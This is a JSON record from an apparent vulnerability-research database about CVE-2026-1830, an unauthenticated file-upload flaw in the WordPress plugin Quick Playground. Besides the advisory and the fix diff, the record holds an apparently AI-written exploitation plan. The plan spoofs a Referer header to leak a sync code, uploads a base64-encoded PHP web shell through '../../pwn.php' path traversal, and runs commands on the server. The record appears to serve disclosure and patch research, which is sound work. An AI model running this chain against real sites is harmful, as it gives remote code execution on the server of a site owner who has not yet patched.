[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpmd9Qtot1zeBbUIzXsq9tGt6a7YQKEW3L14129NFTNk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":41,"poc_video_id":9,"poc_summary":42,"poc_steps":43,"poc_tested_at":44,"poc_wp_version":45,"poc_php_version":46,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":47,"poc_verification_depth":9,"source_links":48},"CVE-2026-1830","quick-playground-missing-authorization-to-unauthenticated-arbitrary-file-upload","Quick Playground \u003C= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload","The Quick Playground plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.1. This is due to insufficient authorization checks on REST API endpoints that expose a sync code and allow arbitrary file uploads. This makes it possible for unauthenticated attackers to retrieve the sync code, upload PHP files with path traversal, and achieve remote code execution on the server.","quick-playground",null,"\u003C=1.3.1","1.3.2","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-04-08 14:35:08","2026-04-09 03:25:57",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=api-prod",1,[22,23,24,25,26,27,28,29],"client-demo-filters.php","client-qckply_data.php","client-save-images.php","client-save-playground.php","expro-api.php","expro-filters.php","expro-quickplayground-sync.php","quick-playground.php","researched",false,3,"# Exploitation Research Plan: Quick Playground \u003C= 1.3.1 Arbitrary File Upload (RCE)\n\n## 1. Vulnerability Summary\nThe **Quick Playground** plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) via arbitrary file upload in versions up to and including 1.3.1. The vulnerability stems from two issues:\n1. **Information Leak**: REST API endpoints (like `save_settings` or `download_json`) have insufficient authorization checks (e.g., only checking the `Referer` header), allowing unauthenticated attackers to retrieve the `sync_code` required for authenticated operations.\n2. **Arbitrary File Upload with Path Traversal**: The `upload_image` REST API endpoint fails to properly sanitize the `filename` parameter and lacks sufficient authorization. This allows an attacker to upload PHP files and use path traversal (`..\u002F`) to place them in accessible directories.\n\n## 2. Attack Vector Analysis\n- **Endpoints**: \n    - Information Leak: `GET \u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fsave_settings\u002Fdefault` or `GET \u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fdownload_json\u002Fdefault`.\n    - File Upload: `POST \u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fupload_image\u002Fdefault`.\n- **Method**: REST API.\n- **Authentication**: Unauthenticated (authorization bypass via `Referer` spoofing or insufficient checking).\n- **Payload**: JSON body containing a base64 encoded PHP shell and a traversed filename.\n- **Preconditions**: The plugin must be active. A \"profile\" (usually `default`) must exist (created upon plugin activation).\n\n## 3. Code Flow\n1. **Registration**: The plugin registers REST routes in `expro-api.php`.\n2. **Leakage Path**:\n   - `Quick_Playground_Save_Settings::register_routes` (or similar) registers a `GET` method for `save_settings\u002F(?P\u003Cprofile>[a-z0-9_]+)`.\n   - The `permission_callback` likely mimics `Quick_Playground_Sync_Ids::get_items_permissions_check`, which only verifies: `return 'https:\u002F\u002Fplayground.wordpress.net\u002F' == $_SERVER['HTTP_REFERER'];`.\n   - If accessed via `GET`, the callback `get_items` reads the JSON settings file from the uploads directory and returns it.\n   - This JSON contains the `qckply_sync_code` (as seen in `client-save-playground.php` where `$clone['sync_code'] = $qckply_sync_code` is added to the outgoing JSON).\n3. **Upload Path**:\n   - The `upload_image` endpoint is called.\n   - The handler receives `sync_code`, `base64`, and `filename`.\n   - It validates `sync_code` using `qckply_cloning_code($profile)`.\n   - Once authorized, it writes the decoded `base64` content to a path constructed using `filename`.\n   - Because `filename` is not sanitized for path traversal, `..\u002F..\u002Fshell.php` allows writing outside the intended directory.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a WordPress nonce**. The REST API endpoints are designed for machine-to-machine communication between a WordPress Playground instance and the host site. Authorization is handled via:\n1. The `Referer` header (for the information leak).\n2. The `sync_code` parameter in the JSON body (for the file upload).\n\n## 5. Exploitation Strategy\n### Step 1: Retrieve the Sync Code\nSpoof the `Referer` header to trick the permission check and retrieve the configuration file for the `default` profile.\n\n- **Request**:\n  - **Tool**: `http_request`\n  - **URL**: `http:\u002F\u002Fvulnerable-site.local\u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fsave_settings\u002Fdefault`\n  - **Method**: `GET`\n  - **Headers**:\n    - `Referer: https:\u002F\u002Fplayground.wordpress.net\u002F`\n- **Expected Response**: A JSON object containing `\"qckply_sync_code\": \"STATED_CODE\"` or similar keys inside the `settings` object.\n\n### Step 2: Upload the PHP Web Shell\nUse the retrieved `sync_code` to authorize a file upload to the `upload_image` endpoint. Use path traversal to place the shell in the `\u002Fwp-content\u002F` directory.\n\n- **Request**:\n  - **Tool**: `http_request`\n  - **URL**: `http:\u002F\u002Fvulnerable-site.local\u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fupload_image\u002Fdefault`\n  - **Method**: `POST`\n  - **Headers**:\n    - `Content-Type: application\u002Fjson`\n    - `Referer: https:\u002F\u002Fplayground.wordpress.net\u002F`\n  - **Body**:\n    ```json\n    {\n      \"sync_code\": \"RETRIEVED_SYNC_CODE\",\n      \"filename\": \"..\u002F..\u002Fpwn.php\",\n      \"base64\": \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+\"\n    }\n    ```\n    *(Note: `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+` is `\u003C?php system($_GET['cmd']); ?>`)*\n\n### Step 3: Trigger Execution\n- **Request**:\n  - **URL**: `http:\u002F\u002Fvulnerable-site.local\u002Fwp-content\u002Fpwn.php?cmd=whoami`\n  - **Method**: `GET`\n\n## 6. Test Data Setup\n1. **Activate Plugin**: Ensure `quick-playground` is active.\n2. **Initialize Settings**: Visit the plugin settings page once as an admin to ensure the `default` profile and `qckply_sync_code` are generated and saved to the filesystem.\n   - CLI: `wp plugin activate quick-playground`\n   - CLI: `wp eval \"qckply_get_directories(); qckply_cloning_code('default');\"` (Forces creation of directories and options).\n\n## 7. Expected","The Quick Playground plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) due to a combination of an information leak and an insecure file upload endpoint. Attackers can spoof a Referer header to retrieve a synchronization code and subsequently use that code to upload arbitrary PHP files via a path traversal vulnerability in the REST API.","\u002F\u002F expro-api.php ~line 178\npublic function get_items_permissions_check($request) {\n    return 'https:\u002F\u002Fplayground.wordpress.net\u002F' == $_SERVER['HTTP_REFERER'];\n}\n\n---\n\n\u002F\u002F expro-api.php ~line 536\npublic function get_items($request) {\n    \u002F\u002F ... (truncated)\n    $params = $request->get_json_params();\n    $filename = sanitize_text_field($params['filename']);\n    \u002F\u002F ... (truncated)\n    $filedata = base64_decode($params['base64']);\n    $bytes_written = file_put_contents($qckply_site_uploads.'\u002F'.$filename,$filedata);\n    \u002F\u002F ...","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquick-playground\u002F1.3.1\u002Fexpro-api.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquick-playground\u002F1.3.2\u002Fexpro-api.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquick-playground\u002F1.3.1\u002Fexpro-api.php\t2026-02-07 00:44:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquick-playground\u002F1.3.2\u002Fexpro-api.php\t2026-04-07 14:32:44.000000000 +0000\n@@ -536,10 +478,7 @@\n     $qckply_site_uploads_url = $qckply_directories['site_uploads_url'];\n     $params = $request->get_json_params();\n-    $filename = sanitize_text_field($params['filename']);\n+    $filename = empty($params['filename']) ? '' : sanitize_file_name(wp_basename($params['filename']));\n     $last_image = get_transient('qckply_last_image_uploaded');\n     if($last_image == $filename) {\n         $sync_response['message'] = 'duplicate image';\n@@ -556,10 +496,41 @@\n         return $response;\n     }\n     else {\n+      $filedata = base64_decode($params['base64'], true);\n+      $image_info = false;\n+\n+      if(false !== $filedata) {\n+        $image_info = @getimagesizefromstring($filedata);\n+      }\n+\n+      $allowed_mimes = apply_filters('qckply_allowed_upload_mimes', [\n+        'image\u002Fjpeg' => 'jpg',\n+        'image\u002Fpng' => 'png',\n+        'image\u002Fgif' => 'gif',\n+        'image\u002Fwebp' => 'webp',\n+      ]);\n+\n+      if(false === $filedata || empty($image_info['mime']) || empty($allowed_mimes[$image_info['mime']])) {\n+        $sync_response['message'] = 'invalid file type';\n+        return new WP_REST_Response($sync_response, 400);\n+      }","1. Retrieve Sync Code: Send a GET request to \u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fsave_settings\u002Fdefault. Spoof the 'Referer' header to 'https:\u002F\u002Fplayground.wordpress.net\u002F' to bypass the permission check. Extract 'qckply_sync_code' from the JSON response.\n2. Prepare Payload: Create a base64-encoded string of a PHP web shell.\n3. Execute Arbitrary File Upload: Send a POST request to \u002Fwp-json\u002Fquickplayground\u002Fv1\u002Fupload_image\u002Fdefault. In the JSON body, include the retrieved 'sync_code', the base64-encoded payload, and a 'filename' parameter using path traversal (e.g., '..\u002F..\u002Fpwn.php') to escape the restricted uploads directory.\n4. Remote Code Execution: Access the uploaded file at the calculated path (e.g., \u002Fwp-content\u002Fpwn.php) to execute arbitrary PHP commands.","gemini-3-flash-preview","2026-04-16 16:26:25","2026-04-16 16:27:14","failed","",[],"2026-04-17 19:16:23","6.7","8.3","claude-opus-4-7",{"type":49,"vulnerable_version":50,"fixed_version":11,"vulnerable_browse":51,"vulnerable_zip":52,"fixed_browse":53,"fixed_zip":54,"all_tags":55},"plugin","1.3.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquick-playground\u002Ftags\u002F1.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquick-playground.1.3.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquick-playground\u002Ftags\u002F1.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquick-playground.1.3.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquick-playground\u002Ftags"]